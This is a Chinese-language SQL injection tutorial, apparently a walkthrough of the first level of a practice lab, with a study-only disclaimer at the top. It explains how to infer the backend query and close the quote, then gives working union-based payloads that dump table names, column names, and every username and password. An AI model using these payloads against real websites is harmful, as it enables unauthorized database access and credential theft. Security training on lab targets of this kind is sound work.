声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!!!
打开主页进入第一关,提示输入参数id及它的值,
传入参数id=1后,我们会发现这个页面会根据传入的id查询到对应的用户及用户密码
我们可以通过查看数据库进行验证
这样我们就可以推断出PHP执行的SQL语句的功能是从数据库中查询出的信息为我们传入的id为1的用户信息,用户名及密码信息,我们据此猜测PHP中的SQL语句可能是select username,password from ‘users’ where id=”$_GET[‘id’]”,但是我们的猜测不一定正确,因为SQL语句的执行,对语法格式有一定的要求,但是并不是特别严格,一条结果的查询方法可能会有多种,还可能会因为数据库表格内容的不同而有所差异;因此,我们如果要攻击这个网站的话,就要想办法猜测出这个页面的SQL语句是如何写的,要猜测是哪一种方式,这样我们才能将我们自己精心构造的SQL语句注入到正常的参数中,让我们的SQL语句可以正常执行,达到我们的目的。我们在本地的MySQL数据库中进行SQL语句测试:select username,password from users where id=1.
我们在id=1后面多输入一个单引号,此时会报错,根据报错信息分析,PHP语句中传入的id参数类型是字符串型,所以要把前面的一个单引号闭合且还要将后面的单引号闭合或注释掉。
将单引号注释掉,输入一个不可查询的id值,我们会发现页面显示的是另一个我们查询的表的内容,
此时我们就可以尝试着拉一下我们所需要的内容了
获得表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='security'--+
获得字段名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1' union select 1,2,group_concat(username) from security.users--+
获得所有用户名
获得所有密码 ?id=-1' union select 1,2,group_concat(password) from security.users--+